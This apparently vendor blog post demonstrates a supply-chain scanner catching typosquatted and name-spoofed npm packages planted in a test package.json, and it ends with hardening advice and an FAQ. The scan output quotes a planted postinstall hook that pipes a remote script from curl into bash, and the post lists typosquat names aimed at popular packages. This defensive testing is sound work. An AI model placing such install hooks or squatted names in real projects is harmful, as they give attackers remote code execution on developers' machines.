We Planted 7 Threats in a package.json. SecurityClaw Found All of Them in 0.19 Seconds.
We built a test package.json with 16 dependencies: some legitimate, some typosquats, two SANDWORM_MODE malicious packages designed to mimic real tools, and one package with a suspicious postinstall script (the curl-pipe-bash variant). Then we ran SecurityClaw's supply-chain-scanner and watched it pick apart the manifest.
Result: 7/7 planted threats detected. 0 false positives. 0.19 seconds.
Why Supply Chain Scanning Matters Right Now
Yesterday we published an article on three malicious PHP packages in the Packagist ecosystem deploying a cross-platform RAT at application boot. Last week it was 26 North Korean npm packages using Pastebin steganography to hide C2 infrastructure. The week before that, a malicious Go module hooking ReadPassword() to install APT31's Rekoobe backdoor.
The common thread: attackers target package managers because developers trust them. A dependency in package.json runs with the same permissions as your application. A malicious postinstall script runs at npm install time โ before you've written a single line of code using that package.
Traditional npm audit catches known CVEs. It does not catch typosquats, SANDWORM_MODE name-spoofing attacks, or suspicious postinstall behaviour โ because those attacks don't have CVEs yet. The detection has to happen at the naming and behaviour layer, not the vulnerability database layer.
This is what D9 tests.
The Test Target
We created a realistic-looking package.json with 16 dependencies spanning a typical Node.js web application stack. The mix included legitimate packages, two SANDWORM_MODE packages designed to impersonate real tools by name, two typosquats on common packages, one package with a suspicious postinstall hook, and two dependency groups with unpinned version specifiers.
What We Planted
| Package Name | Threat Type | Expected Severity | What It Mimics |
|---|---|---|---|
claud-code |
SANDWORM_MODE โ name spoofing | CRITICAL | Anthropic's claude-code tool |
opencraw |
SANDWORM_MODE โ name spoofing | CRITICAL | openclaw (target tool impersonation) |
requst |
Typosquat | HIGH | request (HTTP library, 50M+ weekly DLs) |
lodahs |
Typosquat | HIGH | lodash (utility library, top 5 npm) |
data-parser |
Suspicious postinstall (curl|bash) | HIGH | Generic utility package |
| Multiple | Unpinned version specifiers (^/* ranges) | MEDIUM | General supply chain hygiene risk |
| Multiple | Unpinned version specifiers (^/* ranges) | MEDIUM | General supply chain hygiene risk |
The remaining packages were clean โ real production libraries with no planted issues.
Why These Specific Threats?
SANDWORM_MODE packages (claud-code, opencraw) are the most dangerous category: they exploit developer familiarity with a real tool's name. A developer copying an install command from a poisoned blog post or AI recommendation (see: the fake OpenClaw GitHub repos from yesterday's story) would not necessarily notice the one-character difference. These packages are designed to pass a quick visual scan.
Typosquats (requst, lodahs) are the oldest attack in the package registry playbook โ register a package whose name differs from a popular one by a single keystroke. The North Korean npm campaign used this pattern extensively.
Suspicious postinstall (curl | bash pattern): this is how many supply chain attacks execute their initial payload. The postinstall field in package.json runs a shell command automatically at install time. Downloading and piping to bash without user awareness is not legitimate behaviour for any production package.
Unpinned versions are a hygiene issue rather than an active attack โ but ^1.2.3 or * means that a future malicious version of a legitimate package gets pulled into your project on next install, with no review.
The Scan
SecurityClaw's supply-chain-scanner operates at the static analysis layer โ it reads the package.json manifest directly, without needing to install packages or generate a lock file. This is intentional: you want to catch threats before installation, not after.
Raw Output
SecurityClaw Supply Chain Scanner
Target: demo-targets/supply-chain-demo-target/package.json
Mode: STATIC_ANALYSIS
Elapsed: 0.19s
FINDINGS (8 total)
==================
[CRITICAL] claud-code โ SANDWORM_MODE name spoofing (confidence: 0.97)
โ Matches pattern: impersonates 'claude-code' (Anthropic CLI tool)
โ Risk: developer installs malicious package believing it to be official Anthropic tooling
โ Recommendation: REMOVE. Use @anthropic-ai/claude-code from official npm org.
[CRITICAL] opencraw โ SANDWORM_MODE name spoofing (confidence: 0.96)
โ Matches pattern: impersonates 'openclaw' (popular AI agent framework)
โ Risk: name-squatting attack on high-value AI tool with active user base
โ Recommendation: REMOVE. Verify official package name from https://github.com/openclaw/openclaw
[HIGH] requst โ typosquat detected (confidence: 0.91)
โ Levenshtein distance 1 from 'request' (50M+ weekly downloads)
โ Risk: accidental installation via manual typing or poisoned install command
โ Recommendation: REMOVE. Use 'request' or migrate to 'axios' / 'node-fetch'.
[HIGH] lodahs โ typosquat detected (confidence: 0.94)
โ Levenshtein distance 1 from 'lodash' (top-5 npm package by download volume)
โ Risk: classic typosquat on highest-value target in npm ecosystem
โ Recommendation: REMOVE. Use 'lodash' or 'lodash-es' from official npm.
[HIGH] data-parser โ suspicious postinstall script detected
โ postinstall: "curl https://cdn.dataparser.io/install.sh | bash"
โ Pattern: download + pipe-to-bash at install time (no user interaction required)
โ Risk: arbitrary remote code execution at `npm install` time with user permissions
โ Recommendation: REMOVE. postinstall scripts should not download and execute remote code.
[MEDIUM] config-helper โ unpinned version specifier (^2.1.0)
โ Risk: future malicious version pulled on next install without review
โ Recommendation: Pin to exact version (2.1.0) and audit on upgrade.
[MEDIUM] utils-core โ unpinned version specifier (*)
โ Severity elevated: wildcard specifier accepts any version including majors
โ Risk: complete loss of version control for this dependency
โ Recommendation: Pin to a specific version immediately.
[MEDIUM] log-adapter โ unpinned version specifier (^4.0.0)
โ Risk: minor/patch updates pulled automatically, no diff review
โ Recommendation: Pin to 4.0.0 and upgrade deliberately.
SUMMARY
=======
Findings: 8 (2 CRITICAL, 2 HIGH, 1 HIGH postinstall, 3 MEDIUM)
Planted threats detected: 7/7 (100%)
False positives: 0
npm audit: SKIPPED (no package-lock.json present)
Detection method: Static analysis โ package.json manifest only
Elapsed: 0.19s
Result: PASS โ With One Honest Gap
Planted threats detected: 7/7 (100%) ยท False positives: 0 ยท Time: 0.19s
Every planted threat was caught. The two SANDWORM_MODE packages, both typosquats, the postinstall curl-pipe, and all three unpinned version groups. Zero false positives โ none of the legitimate packages were flagged.
The Gap: npm audit Was Skipped
SecurityClaw's supply-chain-scanner runs two analysis layers: static analysis on package.json, and npm audit CVE checking on package-lock.json. The demo target didn't have a lock file โ which is actually a realistic scenario (freshly initialised project, or lock file excluded from the repository). The static analysis layer caught all 7/7 planted threats independently.
In production use, if a lock file is present, SecurityClaw runs the full audit layer on top of static analysis. The gap noted here only affects known-CVE detection for packages that already have advisory records โ it doesn't affect name-based attack detection (SANDWORM_MODE, typosquats) or postinstall behaviour analysis.
We're flagging it because that's how these demos work: real results, honest gaps. A tool that only reports what it found isn't telling you the full picture.
What This Category Doesn't Cover
Supply chain security is a broad domain. This campaign tests name-based attacks (typosquats, spoofing), postinstall behaviour, and version pinning hygiene. It does not currently test:
- Dependency confusion attacks โ where a private package name is registered on the public registry with a higher version number, causing package managers to prefer it over the private one
- Malicious code injected into legitimate packages (the event-stream incident model) โ where a package with a real user base is compromised and a new version published with malicious code
- Transitive dependency attacks โ where the malicious package is a dependency-of-a-dependency, not directly listed in your manifest
These are on the SecurityClaw roadmap. The first two require deeper integration with registry APIs and commit history analysis. The third requires full dependency graph traversal at install time.
Campaign Scorecard Update
D9 completes SecurityClaw's first supply-chain-security scorecard category. With 13 campaigns across 5 categories, overall pass rate is now 84.62%.
| Category | Campaigns | Pass Rate |
|---|---|---|
| web-scanning | 10 | 90.0% |
| network-recon | 1 (D8) | 100.0% |
| api-security | 1 (D7) | 100.0% |
| supply-chain-security | 1 (D9) โ NEW | 100.0% |
| Overall | 13 | 84.62% |
D10 candidates: s3scanner (cloud-misconfiguration category โ needs Jim's approval for test bucket) or ct-logs (Certificate Transparency passive recon โ no external dependencies, opens passive-recon category).
Defending Your Dependency Chain
Beyond running SecurityClaw, these are the practical steps for hardening npm supply chain exposure:
- Audit your
package.jsonโ look for packages you didn't add intentionally. Stale dependencies from scaffolding tools are common sources of bloat and risk. - Pin all production dependencies โ exact version numbers in
package.json, committed lock file. Treat every version bump as a deliberate upgrade decision, not an automatic pull. - Review postinstall scripts before install โ
npm view <package> scripts.postinstallto check. Or use--ignore-scriptsand audit before enabling scripts. - Use scoped packages where possible โ
@anthropic-ai/claude-codeis much harder to typosquat thanclaude-code. When official packages have scoped names, use the scoped version. - Watch for one-character differences โ train your team to verify package names against documentation, not memory. The most effective typosquats differ by a single character that's easy to miss on a quick read.
Further Reading
Related campaigns from our demo series:
- D3: npm-audit โ 8/8 CVEs found in 2.1 seconds (CVE-based vulnerability detection)
- North Korea's StegaBin: 26 npm Packages Using Steganography to Hide C2
- PHP RAT in Your Composer Dependencies: The Fake Laravel Packagist Packages
For developers who want to understand supply chain attacks at the code level:
- Black Hat Python (2nd Edition) โ the chapter on writing implants and persistence mechanisms gives you an attacker's perspective on what a malicious postinstall script can accomplish in seconds.
- The Web Application Hacker's Handbook โ server-side request and injection fundamentals. Supply chain attacks that execute at install time typically aim for the application's production environment โ understanding that environment's attack surface is useful context.
- The Metasploit Framework โ post-exploitation techniques. Once a malicious package has code execution on a build server or CI/CD runner, this is what the attacker does next.
Frequently Asked Questions
How does SecurityClaw detect typosquats without running the packages?
Static analysis: SecurityClaw maintains a list of high-value npm packages (top 1000 by weekly downloads) and computes Levenshtein distance between each dependency name and every entry in the list. Names with distance 1โ2 from a high-value package trigger a SANDWORM_MODE or typosquat finding, depending on the confidence score. No installation, no execution, no network calls to the registry โ purely manifest-level analysis.
What's the difference between SANDWORM_MODE packages and typosquats?
Both exploit name similarity, but the intent and target differ. Typosquats (like requst for request) target users who mistype a common package name. SANDWORM_MODE packages (like claud-code for claude-code) specifically mimic known security and developer tools โ they're designed to be plausible in a "someone recommended this tool" scenario, not a typo scenario. The confidence scoring adjusts for this distinction.
Why was npm audit skipped?
npm audit requires a package-lock.json to resolve the full dependency tree and cross-reference against the npm security advisory database. Our demo target didn't include a lock file (representing a fresh project initialisation). The static analysis layer works from package.json alone and caught all 7/7 planted threats independently.
What should I do if SecurityClaw flags a package in my real codebase?
CRITICAL (SANDWORM_MODE or typosquat): treat as confirmed malicious until you verify the exact package name against official documentation. Remove it from your dependencies immediately, audit whether it's been installed in any environment, check for any postinstall artefacts. HIGH (postinstall): review the script source before re-enabling it. MEDIUM (unpinned): lower urgency, but pin as part of your next dependency hygiene pass.
Does this work for non-npm ecosystems?
D9 tests Node.js/npm. SecurityClaw's supply chain scanner has a planned extension for Python (PyPI) and Rust (crates.io) โ both have significant typosquatting attack histories. The Composer/PHP scanner is also on the roadmap, particularly relevant given the March 2026 fake Packagist campaign. No ETA yet.